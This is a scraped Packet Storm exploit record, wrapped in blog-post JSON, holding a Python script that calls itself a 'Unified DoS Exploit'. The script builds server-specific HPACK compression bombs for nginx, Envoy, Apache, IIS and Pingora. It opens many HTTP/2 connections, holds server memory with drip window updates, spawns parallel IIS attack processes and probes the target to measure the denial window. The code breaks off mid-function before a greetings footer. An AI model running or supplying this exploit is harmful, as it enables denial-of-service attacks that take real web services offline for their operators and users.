{“lastseen”:”2026-06-12T16:31:23″,”description”:”This code implements a multi-target HTTP\/2 resource exhaustion framework designed to stress or overwhelm server implementations through protocol-level amplification techniques. It includes server-specific payload generation for multiple platforms,…”,”published”:”2026-06-12T00:00:00″,”modified”:”2026-06-12T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 HTTP\/2 Multi-Server HPACK Exhaustion”,”source”:””,”references”:””,”id”:”PACKETSTORM:223343″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”==================================================================================================================================\\n | # Title : HTTP\/2 Multi-Server HPACK Exhaustion |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits) |\\n | # Vendor : System built in component |\\n ==================================================================================================================================\\n \\n [+] Summary : This code implements a multi-target HTTP\/2 resource exhaustion framework designed to stress or overwhelm server implementations through protocol-level amplification techniques. \\n It includes server-specific payload generation for multiple platforms, automated connection orchestration, stream scaling, and memory pressure strategies \\n \\t\\t\\t\\t using HPACK compression behavior and flow-control manipulation.\\n \\n \\n [+] POC : \\n \\n #!\/usr\/bin\/env python3\\n \\n import argparse\\n import socket\\n import ssl\\n import struct\\n import sys\\n import threading\\n import time\\n import urllib.request\\n import json\\n from typing import List, Tuple, Optional\\n from dataclasses import dataclass\\n from enum import Enum\\n \\n H2_PREFACE = b\\”PRI * HTTP\/2.0\\\\r\\\\n\\\\r\\\\nSM\\\\r\\\\n\\\\r\\\\n\\”\\n \\n FRAME_DATA = 0x0\\n FRAME_HEADERS = 0x1\\n FRAME_SETTINGS = 0x4\\n FRAME_PING = 0x6\\n FRAME_GOAWAY = 0x7\\n FRAME_WINDOW_UPDATE = 0x8\\n FRAME_CONTINUATION = 0x9\\n FLAG_END_STREAM = 0x1\\n FLAG_END_HEADERS = 0x4\\n FLAG_ACK = 0x1\\n SETTINGS_HEADER_TABLE_SIZE = 0x1\\n SETTINGS_ENABLE_PUSH = 0x2\\n SETTINGS_MAX_CONCURRENT = 0x3\\n SETTINGS_INITIAL_WINDOW_SIZE = 0x4\\n SETTINGS_MAX_FRAME_SIZE = 0x5\\n DEFAULT_WINDOW = 65535\\n MAX_FRAME_SIZE = 16384\\n \\n class ServerType(Enum):\\n NGINX = \\”nginx\\”\\n ENVOY = \\”envoy\\”\\n APACHE = \\”apache\\”\\n IIS = \\”iis\\”\\n PINGORA = \\”pingora\\”\\n AUTO = \\”auto\\”\\n \\n \\n @dataclass\\n class ServerConfig:\\n \\”\\”\\”Server-specific configuration\\”\\”\\”\\n name: str\\n default_port: int\\n needs_tls: bool\\n max_headers: int\\n max_streams: int\\n amplification: int\\n special_payload: Optional[str] = None\\n cookie_size: Optional[int] = None\\n \\n \\n SERVER_CONFIGS = {\\n ServerType.NGINX: ServerConfig(\\n name=\\”nginx\\”,\\n default_port=443,\\n needs_tls=True,\\n max_headers=32000,\\n max_streams=128,\\n amplification=70\\n ),\\n ServerType.ENVOY: ServerConfig(\\n name=\\”Envoy\\”,\\n default_port=10000,\\n needs_tls=True,\\n max_headers=8192,\\n max_streams=100,\\n amplification=5700,\\n cookie_size=4058\\n ),\\n ServerType.APACHE: ServerConfig(\\n name=\\”Apache httpd\\”,\\n default_port=8443,\\n needs_tls=True,\\n max_headers=4091,\\n max_streams=100,\\n amplification=4000\\n ),\\n ServerType.IIS: ServerConfig(\\n name=\\”Microsoft IIS\\”,\\n default_port=443,\\n needs_tls=True,\\n max_headers=900,\\n max_streams=100,\\n amplification=68\\n ),\\n ServerType.PINGORA: ServerConfig(\\n name=\\”Cloudflare Pingora\\”,\\n default_port=6145,\\n needs_tls=False,\\n max_headers=32000,\\n max_streams=100000,\\n amplification=33\\n ),\\n }\\n \\n def hpack_int(value: int, prefix_bits: int, first_byte_prefix: int) -\\u003e bytes:\\n \\”\\”\\”Encode integer as HPACK integer\\”\\”\\”\\n max_prefix = (1 \\u003c\\u003c prefix_bits) – 1\\n if value \\u003c max_prefix:\\n return bytes([first_byte_prefix | value])\\n \\n out = bytearray([first_byte_prefix | max_prefix])\\n value -= max_prefix\\n while value \\u003e= 128:\\n out.append((value \\u0026 0x7F) | 0x80)\\n value \\u003e\\u003e= 7\\n out.append(value)\\n return bytes(out)\\n \\n def hpack_string(data: bytes) -\\u003e bytes:\\n \\”\\”\\”Encode string as HPACK string literal\\”\\”\\”\\n return hpack_int(len(data), 7, 0x00) + data\\n \\n def indexed(index: int) -\\u003e bytes:\\n \\”\\”\\”Indexed header field representation\\”\\”\\”\\n return hpack_int(index, 7, 0x80)\\n \\n def literal_indexed_name_with_indexing(name_index: int, value: bytes) -\\u003e bytes:\\n \\”\\”\\”Literal header field with indexing – indexed name\\”\\”\\”\\n return hpack_int(name_index, 6, 0x40) + hpack_string(value)\\n \\n def literal_indexed_name_without_indexing(name_index: int, value: bytes) -\\u003e bytes:\\n \\”\\”\\”Literal header field without indexing – indexed name\\”\\”\\”\\n return hpack_int(name_index, 4, 0x00) + hpack_string(value)\\n \\n def build_nginx_hpack_bomb(num_headers: int) -\\u003e bytes:\\n \\”\\”\\”\\n Build HPACK bomb for nginx\\n Strategy: Insert (\\”a\\”, \\”\\”) then reference it many times\\n \\”\\”\\”\\n block = bytearray()\\n block.append(0x80 | 2) \\n block.append(0x80 | 4) \\n block.append(0x80 | 6) \\n block.append(0x41) \\n block.append(0x01) \\n block.append(ord(\\”x\\”)) \\n block.append(0x40) \\n block.append(0x01) \\n block.append(ord(\\”a\\”)) \\n block.append(0x00) \\n refs = max(0, num_headers – 5)\\n block.extend(b\\”\\\\xbe\\” * refs)\\n \\n return bytes(block)\\n \\n \\n def build_envoy_hpack_bomb(num_headers: int, cookie_value_size: int = 4058) -\\u003e bytes:\\n \\”\\”\\”\\n Build HPACK bomb for Envoy using cookie coalescing\\n \\”\\”\\”\\n cookie_value = b\\”x\\” * min(cookie_value_size, 4058)\\n block = bytearray()\\n \\n block += indexed(2) \\n block += indexed(7) \\n block += indexed(4) \\n block += literal_indexed_name_without_indexing(1, b\\”localhost\\”)\\n block += literal_indexed_name_with_indexing(32, cookie_value)\\n refs = max(0, num_headers – 5)\\n block += indexed(62) * refs\\n \\n return bytes(block)\\n \\n \\n def build_apache_hpack_bomb(num_headers: int) -\\u003e bytes:\\n \\”\\”\\”\\n Build HPACK bomb for Apache httpd\\n Uses empty cookie values for maximum amplification\\n \\”\\”\\”\\n block = bytearray()\\n block += indexed(2) \\n block += indexed(7) \\n block += literal_indexed_name_without_indexing(4, b\\”\/missing\\”)\\n block += literal_indexed_name_without_indexing(1, b\\”localhost\\”)\\n block += literal_indexed_name_with_indexing(32, b\\”\\”)\\n refs = max(0, num_headers – 4)\\n block += indexed(62) * refs\\n \\n return bytes(block)\\n \\n \\n def build_iis_hpack_bomb(num_headers: int) -\\u003e bytes:\\n \\”\\”\\”\\n Build HPACK bomb for IIS\\n Uses ‘:scheme https’ at index 7 (not 6)\\n \\”\\”\\”\\n block = bytearray()\\n \\n block.append(0x80 | 2) \\n block.append(0x80 | 4) \\n block.append(0x80 | 7) \\n block.append(0x41) \\n block.append(0x09) \\n block.extend(b\\”localhost\\”)\\n block.append(0x40) \\n block.append(0x01) \\n block.append(ord(\\”a\\”)) \\n block.append(0x00) \\n \\n refs = max(0, num_headers – 5)\\n block.extend(b\\”\\\\xbe\\” * refs)\\n \\n return bytes(block)\\n \\n \\n def build_pingora_hpack_bomb(num_headers: int) -\\u003e bytes:\\n \\”\\”\\”\\n Build HPACK bomb for Pingora (h2c – clear text)\\n \\”\\”\\”\\n block = bytearray()\\n \\n block.append(0x82) \\n block.append(0x84) \\n block.append(0x86) \\n block.append(0x41) \\n block.append(0x01)\\n block.append(ord(\\”x\\”))\\n block.append(0x40) \\n block.append(0x01)\\n block.append(ord(\\”a\\”))\\n block.append(0x00)\\n \\n refs = max(0, num_headers – 5)\\n block.extend(b\\”\\\\xbe\\” * refs)\\n \\n return bytes(block)\\n \\n def frame(ftype: int, flags: int, stream_id: int, payload: bytes) -\\u003e bytes:\\n \\”\\”\\”Build HTTP\/2 frame\\”\\”\\”\\n length = len(payload)\\n hdr = struct.pack(\\”!I\\”, length)[1:] # 3-byte length\\n hdr += struct.pack(\\”!BB\\”, ftype, flags)\\n hdr += struct.pack(\\”!I\\”, stream_id \\u0026 0x7FFFFFFF)\\n return hdr + payload\\n \\n \\n def settings_frame(params: List[Tuple[int, int]], ack: bool = False) -\\u003e bytes:\\n \\”\\”\\”Build SETTINGS frame\\”\\”\\”\\n if ack:\\n return frame(FRAME_SETTINGS, FLAG_ACK, 0, b\\”\\”)\\n payload = b\\”\\”.join(struct.pack(\\”!HI\\”, pid, val) for pid, val in params)\\n return frame(FRAME_SETTINGS, 0, 0, payload)\\n \\n \\n def window_update_frame(stream_id: int, increment: int) -\\u003e bytes:\\n \\”\\”\\”Build WINDOW_UPDATE frame\\”\\”\\”\\n return frame(FRAME_WINDOW_UPDATE, 0, stream_id, struct.pack(\\”!I\\”, increment))\\n \\n \\n def ping_ack_frame(opaque_data: bytes) -\\u003e bytes:\\n \\”\\”\\”Build PING ACK frame\\”\\”\\”\\n return frame(FRAME_PING, FLAG_ACK, 0, opaque_data)\\n \\n \\n def split_into_frames(stream_id: int, header_block: bytes, max_payload: int = MAX_FRAME_SIZE) -\\u003e List[bytes]:\\n \\”\\”\\”Split HPACK block into HEADERS + CONTINUATION frames\\”\\”\\”\\n frames = []\\n offset = 0\\n first = True\\n \\n while offset \\u003c len(header_block):\\n chunk = header_block[offset:offset + max_payload]\\n offset += len(chunk)\\n is_last = offset \\u003e= len(header_block)\\n \\n if first:\\n flags = FLAG_END_STREAM\\n if is_last:\\n flags |= FLAG_END_HEADERS\\n frames.append(frame(FRAME_HEADERS, flags, stream_id, chunk))\\n first = False\\n else:\\n flags = FLAG_END_HEADERS if is_last else 0\\n frames.append(frame(FRAME_CONTINUATION, flags, stream_id, chunk))\\n \\n return frames\\n \\n \\n def parse_frames(data: bytes):\\n \\”\\”\\”Parse raw HTTP\/2 frames\\”\\”\\”\\n offset = 0\\n while offset + 9 \\u003c= len(data):\\n length = (data[offset] \\u003c\\u003c 16) | (data[offset+1] \\u003c\\u003c 8) | data[offset+2]\\n ftype = data[offset+3]\\n flags = data[offset+4]\\n stream_id = struct.unpack(\\”!I\\”, data[offset+5:offset+9])[0] \\u0026 0x7FFFFFFF\\n \\n if offset + 9 + length \\u003e len(data):\\n break\\n \\n payload = data[offset+9:offset+9+length]\\n yield ftype, flags, stream_id, payload\\n offset += 9 + length\\n class H2Connection:\\n def __init__(self, host: str, port: int, server_type: ServerType, \\n conn_id: int = 0, verbose: bool = False):\\n self.host = host\\n self.port = port\\n self.server_type = server_type\\n self.conn_id = conn_id\\n self.verbose = verbose\\n self.sock = None\\n self.stream_ids = []\\n self.active = False\\n self.config = SERVER_CONFIGS.get(server_type)\\n \\n def log(self, msg: str):\\n if self.verbose:\\n print(f\\” [conn-{self.conn_id}] {msg}\\”)\\n \\n def connect(self):\\n \\”\\”\\”Establish TLS (or plain) HTTP\/2 connection\\”\\”\\”\\n if self.config.needs_tls:\\n ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\\n ctx.check_hostname = False\\n ctx.verify_mode = ssl.CERT_NONE\\n ctx.set_alpn_protocols([\\”h2\\”])\\n \\n raw = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n raw.settimeout(30)\\n raw.connect((self.host, self.port))\\n \\n self.sock = ctx.wrap_socket(raw, server_hostname=self.host)\\n negotiated = self.sock.selected_alpn_protocol()\\n if negotiated != \\”h2\\”:\\n raise RuntimeError(f\\”ALPN negotiated ‘{negotiated}’, expected ‘h2’\\”)\\n else:\\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n self.sock.settimeout(30)\\n self.sock.connect((self.host, self.port))\\n \\n self.log(f\\”Connected to {self.host}:{self.port}\\”)\\n \\n def handshake(self, initial_window: int = 0):\\n \\”\\”\\”Send HTTP\/2 preface and SETTINGS\\”\\”\\”\\n self.sock.sendall(H2_PREFACE)\\n self.sock.sendall(settings_frame([\\n (SETTINGS_ENABLE_PUSH, 0),\\n (SETTINGS_INITIAL_WINDOW_SIZE, initial_window),\\n ]))\\n \\n self._drain(timeout=2.0)\\n self.sock.sendall(settings_frame([], ack=True))\\n \\n self.log(\\”Handshake complete\\”)\\n self.active = True\\n \\n def build_payload(self, num_headers: int) -\\u003e bytes:\\n \\”\\”\\”Build server-specific HPACK bomb\\”\\”\\”\\n if self.server_type == ServerType.NGINX:\\n return build_nginx_hpack_bomb(num_headers)\\n elif self.server_type == ServerType.ENVOY:\\n cookie_size = self.config.cookie_size or 4058\\n return build_envoy_hpack_bomb(num_headers, cookie_size)\\n elif self.server_type == ServerType.APACHE:\\n return build_apache_hpack_bomb(num_headers)\\n elif self.server_type == ServerType.IIS:\\n return build_iis_hpack_bomb(num_headers)\\n elif self.server_type == ServerType.PINGORA:\\n return build_pingora_hpack_bomb(num_headers)\\n else:\\n return build_nginx_hpack_bomb(num_headers)\\n \\n def send_bombs(self, num_streams: int, num_headers: int) -\\u003e int:\\n \\”\\”\\”Send HPACK bomb streams\\”\\”\\”\\n hpack_block = self.build_payload(num_headers)\\n wire_per_stream = len(hpack_block)\\n \\n self.log(f\\”Sending {num_streams} streams, {wire_per_stream} bytes\/stream\\”)\\n \\n total_wire = 0\\n for i in range(num_streams):\\n stream_id = 2 * i + 1\\n self.stream_ids.append(stream_id)\\n \\n frames = split_into_frames(stream_id, hpack_block)\\n for f in frames:\\n self.sock.sendall(f)\\n total_wire += len(f)\\n \\n self.log(f\\”Sent {total_wire:,} bytes ({total_wire\/1024:.1f} KB)\\”)\\n self._drain(timeout=1.0)\\n self.active = True\\n \\n return total_wire\\n \\n def hold_with_drip(self, hold_seconds: int, drip_interval: int = 50):\\n \\”\\”\\”Hold memory with periodic WINDOW_UPDATEs\\”\\”\\”\\n self.log(f\\”Holding for {hold_seconds}s (drip every {drip_interval}s)\\”)\\n \\n t0 = time.monotonic()\\n drip_count = 0\\n \\n while time.monotonic() – t0 \\u003c hold_seconds and self.active:\\n wait_until = time.monotonic() + drip_interval\\n while time.monotonic() \\u003c wait_until and self.active:\\n remaining = wait_until – time.monotonic()\\n self._drain(timeout=min(remaining, 5.0))\\n \\n if not self.active:\\n break\\n \\n try:\\n self.sock.sendall(window_update_frame(0, 1))\\n for sid in self.stream_ids:\\n self.sock.sendall(window_update_frame(sid, 1))\\n drip_count += 1\\n except (BrokenPipeError, ConnectionResetError, OSError):\\n self.log(\\”Connection lost during drip\\”)\\n self.active = False\\n break\\n \\n elapsed = time.monotonic() – t0\\n self.log(f\\”Hold ended: {elapsed:.0f}s, {drip_count} drips\\”)\\n \\n def _drain(self, timeout: float = 1.0):\\n \\”\\”\\”Read incoming frames and respond to PINGs\\”\\”\\”\\n self.sock.settimeout(timeout)\\n try:\\n while True:\\n data = self.sock.recv(65536)\\n if not data:\\n self.active = False\\n return\\n \\n for ftype, flags, sid, payload in parse_frames(data):\\n if ftype == FRAME_PING and not (flags \\u0026 FLAG_ACK):\\n self.sock.sendall(ping_ack_frame(payload))\\n elif ftype == FRAME_GOAWAY:\\n error = struct.unpack(\\”!I\\”, payload[4:8])[0] if len(payload) \\u003e= 8 else 0\\n self.log(f\\”GOAWAY received, error={error}\\”)\\n self.active = False\\n return\\n except (socket.timeout, ssl.SSLWantReadError, BlockingIOError):\\n pass\\n except (ConnectionResetError, BrokenPipeError, OSError):\\n self.active = False\\n \\n def close(self):\\n if self.sock:\\n try:\\n self.sock.close()\\n except OSError:\\n pass\\n def launch_iis_attack(target: str, port: int, num_procs: int, \\n conns_per_proc: int, hold: int) -\\u003e None:\\n \\”\\”\\”\\n Launch multiple parallel processes for IIS attack\\n IIS requires 10,000-50,000 connections to exhaust memory\\n \\”\\”\\”\\n import subprocess\\n import os\\n \\n script_path = os.path.abspath(__file__)\\n procs = []\\n \\n print(f\\”[*] Launching {num_procs} parallel processes for IIS attack\\”)\\n print(f\\” Total connections: {num_procs * conns_per_proc}\\”)\\n \\n for i in range(num_procs):\\n cmd = [\\n sys.executable, script_path,\\n \\”–target\\”, target,\\n \\”–port\\”, str(port),\\n \\”–server\\”, \\”iis\\”,\\n \\”–connections\\”, str(conns_per_proc),\\n \\”–streams\\”, \\”100\\”,\\n \\”–headers\\”, \\”900\\”,\\n \\”–hold\\”, str(hold),\\n \\”–no-probe\\”\\n ]\\n \\n proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\\n procs.append(proc)\\n time.sleep(0.5)\\n \\n print(f\\”[*] All {num_procs} processes launched. Waiting for completion…\\”)\\n \\n for i, proc in enumerate(procs):\\n stdout, stderr = proc.communicate()\\n if proc.returncode != 0:\\n print(f\\” Process {i} failed: {stderr.decode()[:200]}\\”)\\n \\n print(\\”[*] Attack completed\\”)\\n def monitor_rss(container_name: Optional[str] = None, pid: Optional[int] = None):\\n \\”\\”\\”Monitor memory usage of target process\\”\\”\\”\\n import subprocess\\n \\n if container_name:\\n try:\\n result = subprocess.run(\\n [\\”docker\\”, \\”inspect\\”, \\”–format\\”, \\”{{.State.Pid}}\\”, container_name],\\n capture_output=True, text=True\\n )\\n pid = int(result.stdout.strip())\\n except Exception as e:\\n print(f\\”Failed to get container PID: {e}\\”)\\n return\\n \\n if not pid:\\n print(\\”No PID specified\\”)\\n return\\n \\n print(f\\”Monitoring PID {pid}\\”)\\n peak = 0\\n t0 = time.monotonic()\\n \\n try:\\n while True:\\n with open(f\\”\/proc\/{pid}\/status\\”) as f:\\n for line in f:\\n if line.startswith(\\”VmRSS:\\”):\\n rss_kb = int(line.split()[1])\\n rss_mb = rss_kb \/ 1024\\n peak = max(peak, rss_mb)\\n elapsed = time.monotonic() – t0\\n print(f\\”[{elapsed:6.1f}s] RSS: {rss_mb:8.1f} MB (peak: {peak:.1f} MB)\\”)\\n break\\n time.sleep(0.5)\\n except KeyboardInterrupt:\\n print(f\\”\\\\nPeak RSS: {peak:.1f} MB\\”)\\n except FileNotFoundError:\\n print(f\\”Process {pid} terminated\\”)\\n def probe_accessibility(host: str, port: int, results: list, stop_event: threading.Event, interval: int = 5):\\n \\”\\”\\”Probe target availability during attack\\”\\”\\”\\n url = f\\”https:\/\/{host}:{port}\/\\” if port == 443 else f\\”http:\/\/{host}:{port}\/\\”\\n ctx = ssl.create_default_context()\\n ctx.check_hostname = False\\n ctx.verify_mode = ssl.CERT_NONE\\n \\n t0 = time.monotonic()\\n \\n while not stop_event.is_set():\\n elapsed = time.monotonic() – t0\\n try:\\n req = urllib.request.Request(url)\\n start = time.monotonic()\\n resp = urllib.request.urlopen(req, timeout=5, context=ctx)\\n latency = (time.monotonic() – start) * 1000\\n results.append((elapsed, resp.status, latency))\\n except Exception:\\n results.append((elapsed, 0, 5000))\\n \\n stop_event.wait(interval)\\n def run_attack(args):\\n \\”\\”\\”Execute full attack\\”\\”\\”\\n server_type = ServerType(args.server)\\n config = SERVER_CONFIGS[server_type]\\n \\n print(f\\”\\”\\”\\n {‘=’ * 70}\\n HTTP\/2 Bomb Attack\\n Target: {args.target}:{args.port} ({config.name})\\n Server: {server_type.value}\\n Connections: {args.connections}\\n Streams: {args.streams} per connection\\n Headers: {args.headers:,} per stream\\n Hold: {args.hold}s (drip every {args.drip}s)\\n TLS: {‘Yes’ if config.needs_tls else ‘No’}\\n {‘=’ * 70}\\n \\”\\”\\”)\\n \\n mem_per_stream = args.headers * 59 * 1.17 if server_type != ServerType.PINGORA else args.headers * 33\\n mem_per_conn = args.streams * mem_per_stream \/ 1024 \/ 1024\\n mem_total = args.connections * mem_per_conn\\n wire_total = args.connections * args.streams * args.headers \/ 1024 \/ 1024\\n amplification = mem_total \/ max(wire_total, 0.001)\\n \\n print(f\\” Estimated server memory:\\”)\\n print(f\\” Per stream: {mem_per_stream\/1024\/1024:.2f} MB\\”)\\n print(f\\” Per connection: {mem_per_conn:.1f} MB\\”)\\n print(f\\” Total: {mem_total:.0f} MB ({mem_total\/1024:.1f} GB)\\”)\\n print(f\\” Wire upload: {wire_total:.1f} MB\\”)\\n print(f\\” Amplification: {amplification:.0f}:1\\”)\\n print()\\n \\n probe_results = []\\n probe_stop = threading.Event()\\n if not args.no_probe:\\n probe_thread = threading.Thread(\\n target=probe_accessibility,\\n args=(args.target, args.port, probe_results, probe_stop, 5),\\n daemon=True\\n )\\n probe_thread.start()\\n time.sleep(1)\\n print(f\\”[*] Phase 1: Establishing {args.connections} connections…\\”)\\n connections = []\\n lock = threading.Lock()\\n t_start = time.monotonic()\\n \\n def connect_worker(i):\\n conn = H2Connection(args.target, args.port, server_type, i, args.verbose)\\n try:\\n conn.connect()\\n conn.handshake(initial_window=args.initial_window)\\n with lock:\\n connections.append(conn)\\n except Exception as e:\\n print(f\\” Connection {i}: FAILED – {e}\\”)\\n conn.close()\\n \\n threads = []\\n for i in range(args.connections):\\n t = threading.Thread(target=connect_worker, args=(i,), daemon=True)\\n t.start()\\n threads.append(t)\\n time.sleep(0.05)\\n \\n for t in threads:\\n t.join(timeout=30)\\n \\n elapsed = time.monotonic() – t_start\\n print(f\\” {len(connections)}\/{args.connections} established in {elapsed:.1f}s\\”)\\n \\n if not connections:\\n print(\\”[!] No connections established\\”)\\n return\\n print(f\\”[*] Phase 2: Sending HPACK bombs…\\”)\\n total_wire = 0\\n t_bomb = time.monotonic()\\n \\n def bomb_worker(conn):\\n nonlocal total_wire\\n try:\\n wire = conn.send_bombs(args.streams, args.headers)\\n with lock:\\n total_wire += wire\\n except Exception as e:\\n print(f\\” Connection {conn.conn_id}: SEND FAILED – {e}\\”)\\n conn.active = False\\n \\n threads = []\\n for conn in connections:\\n t = threading.Thread(target=bomb_worker, args=(conn,), daemon=True)\\n t.start()\\n threads.append(t)\\n \\n for t in threads:\\n t.join(timeout=60)\\n \\n elapsed = time.monotonic() – t_bomb\\n print(f\\” Sent {total_wire\/1024\/1024:.1f} MB in {elapsed:.1f}s ({total_wire\/1024\/1024\/elapsed:.1f} MB\/s)\\”)\\n \\n if args.hold \\u003e 0:\\n print(f\\”[*] Phase 3: Holding for {args.hold}s (drip every {args.drip}s)\\”)\\n print(\\” Press Ctrl+C to stop early\\”)\\n \\n threads = []\\n for conn in connections:\\n t = threading.Thread(\\n target=conn.hold_with_drip,\\n args=(args.hold, args.drip),\\n daemon=True\\n )\\n t.start()\\n threads.append(t)\\n \\n try:\\n for t in threads:\\n t.join()\\n except KeyboardInterrupt:\\n print(\\”\\\\n[*] Interrupted by user\\”)\\n probe_stop.set()\\n active = sum(1 for c in connections if c.active)\\n \\n print(f\\”\\”\\”\\n {‘=’ * 70}\\n RESULTS\\n {‘=’ * 70}\\n Total time: {time.monotonic() – t_start:.0f}s\\n Connections: {active}\/{len(connections)} active\\n Wire uploaded: {total_wire\/1024\/1024:.1f} MB\\n Streams total: {len(connections) * args.streams:,}\\n \\”\\”\\”)\\n \\n if probe_results:\\n accessible = sum(1 for _, status, _ in probe_results if status == 200)\\n print(f\\” Accessibility probe:\\”)\\n print(f\\” Accessible: {accessible}\/{len(probe_results)}\\”)\\n \\n first_deny = next((t for t, s, _ in probe_results if s != 200), None)\\n if first_deny:\\n last_deny = max((t for t, s, _ in probe_results if s != 200), default=0)\\n print(f\\” Denial window: {first_deny:.0f}s – {last_deny:.0f}s (~{last_deny – first_deny:.0f}s)\\”)\\n \\n for conn in connections:\\n conn.close()\\n \\n print(\\”\\\\n[+] Attack completed!\\”)\\n def detect_server(host: str, port: int) -\\u003e Optional[ServerType]:\\n \\”\\”\\”Attempt to identify server type by response headers\\”\\”\\”\\n import urllib.request\\n \\n print(\\”[*] Attempting to auto-detect server type…\\”)\\n \\n for server_type, config in SERVER_CONFIGS.items():\\n if config.default_port != port and server_type != ServerType.AUTO:\\n continue\\n \\n try:\\n url = f\\”https:\/\/{host}:{port}\/\\” if config.needs_tls else f\\”http:\/\/{host}:{port}\/\\”\\n ctx = ssl.create_default_context()\\n ctx.check_hostname = False\\n ctx.verify_mode = ssl.CERT_NONE\\n \\n req = urllib.request.Request(url, method=\\”HEAD\\”)\\n resp = urllib.request.urlopen(req, timeout=5, context=ctx)\\n \\n server_header = resp.headers.get(\\”Server\\”, \\”\\”)\\n \\n if \\”nginx\\” in server_header.lower():\\n return ServerType.NGINX\\n elif \\”envoy\\” in server_header.lower():\\n return ServerType.ENVOY\\n elif \\”apache\\” in server_header.lower():\\n return ServerType.APACHE\\n elif \\”iis\\” in server_header.lower():\\n return ServerType.IIS\\n except Exception:\\n continue\\n \\n print(\\”[!] Could not auto-detect, defaulting to nginx\\”)\\n return ServerType.NGINX\\n def main():\\n parser = argparse.ArgumentParser(\\n description=\\”HTTP\/2 Bomb – Unified DoS Exploit for nginx, Envoy, Apache, IIS, Pingora\\”,\\n formatter_class=argparse.RawDescriptionHelpFormatter,\\n epilog=\\”\\”\\”\\n Examples:\\n %(prog)s –target 192.168.1.100 –connections 15 –hold 120\\n %(prog)s –target 192.168.1.100 –port 10000 –server envoy –connections 1 –streams 1\\n %(prog)s –target 192.168.1.100 –port 8443 –server apache –connections 1 –streams 25\\n %(prog)s –target 192.168.1.100 –server iis –connections 2000 –hold 300\\n %(prog)s –target 192.168.1.100 –port 6145 –server pingora –connections 1 –streams 2048\\n %(prog)s –target 192.168.1.100 –server iis –iis-procs 50 –iis-conns 1000\\n %(prog)s –monitor-container nginx-h2-bomb\\n \\”\\”\\”)\\n \\n parser.add_argument(\\”–target\\”, \\”-t\\”, help=\\”Target host\/IP\\”)\\n parser.add_argument(\\”–port\\”, \\”-p\\”, type=int, help=\\”Target port (defaults per server)\\”)\\n parser.add_argument(\\”–server\\”, \\”-s\\”, choices=[\\”nginx\\”, \\”envoy\\”, \\”apache\\”, \\”iis\\”, \\”pingora\\”, \\”auto\\”],\\n default=\\”auto\\”, help=\\”Server type (default: auto-detect)\\”)\\n parser.add_argument(\\”–connections\\”, \\”-n\\”, type=int, default=1, help=\\”Number of connections\\”)\\n parser.add_argument(\\”–streams\\”, type=int, default=128, help=\\”Streams per connection\\”)\\n parser.add_argument(\\”–headers\\”, type=int, default=32000, help=\\”Headers per stream\\”)\\n parser.add_argument(\\”–hold\\”, type=int, default=120, help=\\”Hold time in seconds\\”)\\n parser.add_argument(\\”–drip\\”, type=int, default=50, help=\\”Drip interval in seconds\\”)\\n parser.add_argument(\\”–initial-window\\”, type=int, default=0, help=\\”INITIAL_WINDOW_SIZE\\”)\\n parser.add_argument(\\”–iis-procs\\”, type=int, help=\\”Number of parallel processes for IIS\\”)\\n parser.add_argument(\\”–iis-conns\\”, type=int, default=2000, help=\\”Connections per IIS process\\”)\\n parser.add_argument(\\”–monitor-container\\”, help=\\”Monitor container memory usage\\”)\\n parser.add_argument(\\”–monitor-pid\\”, type=int, help=\\”Monitor process by PID\\”)\\n parser.add_argument(\\”–no-probe\\”, action=\\”store_true\\”, help=\\”Disable accessibility probe\\”)\\n parser.add_argument(\\”–detect\\”, action=\\”store_true\\”, help=\\”Auto-detect server type only\\”)\\n parser.add_argument(\\”-v\\”, \\”–verbose\\”, action=\\”store_true\\”, help=\\”Verbose output\\”)\\n \\n args = parser.parse_args()\\n \\n if args.monitor_container:\\n monitor_rss(container_name=args.monitor_container)\\n return\\n \\n if args.monitor_pid:\\n monitor_rss(pid=args.monitor_pid)\\n return\\n if args.detect:\\n if not args.target:\\n print(\\”Error: –target required for detection\\”)\\n return\\n port = args.port or 443\\n server = detect_server(args.target, port)\\n print(f\\”Detected server: {server.value}\\”)\\n return\\n if not args.target:\\n parser.print_help()\\n print(\\”\\\\nError: –target required for attack\\”)\\n return\\n if args.iis_procs:\\n port = args.port or 443\\n launch_iis_attack(args.target, port, args.iis_procs, args.iis_conns, args.hold)\\n return\\n if args.server == \\”auto\\”:\\n \\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/223343″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/223343\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-06-12T16:31:23″,”description”:”This code implements a multi-target HTTP\/2 resource exhaustion framework designed to stress or overwhelm server implementations through protocol-level amplification techniques. It includes server-specific payload generation…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-62285","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n